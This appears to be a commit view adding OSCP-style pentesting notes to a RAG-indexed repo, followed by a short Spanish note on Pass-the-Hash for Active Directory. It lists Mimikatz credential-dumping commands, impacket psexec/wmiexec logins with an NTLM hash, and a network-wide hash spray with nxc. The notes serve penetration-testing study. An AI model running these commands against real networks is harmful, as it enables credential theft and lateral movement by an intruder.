7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
765 B
765 B
Pass-the-Hash
Te autenticas con el hash NTLM sin conocer la contraseña en claro. La base del Movimiento lateral en AD.
De dónde sale el hash
- Mimikatz
sekurlsa::logonpasswords - secretsdump (SAM/NTDS)
lsadump::sam
Uso
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20' # → SYSTEM
impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
nxc smb 10.10.10.0/24 -u admin -H NTLMHASH # spray del hash por la red
Combos
- Reutilización: prueba el hash/usuario contra todos los hosts (Metodología OSCP).
- Password spraying: la misma pass de un user normal contra
administrator,sa... - Hash de krbtgt → ya no es PtH, es Golden Ticket.
Relacionado: Impacket · Movimiento lateral · OSCP MOC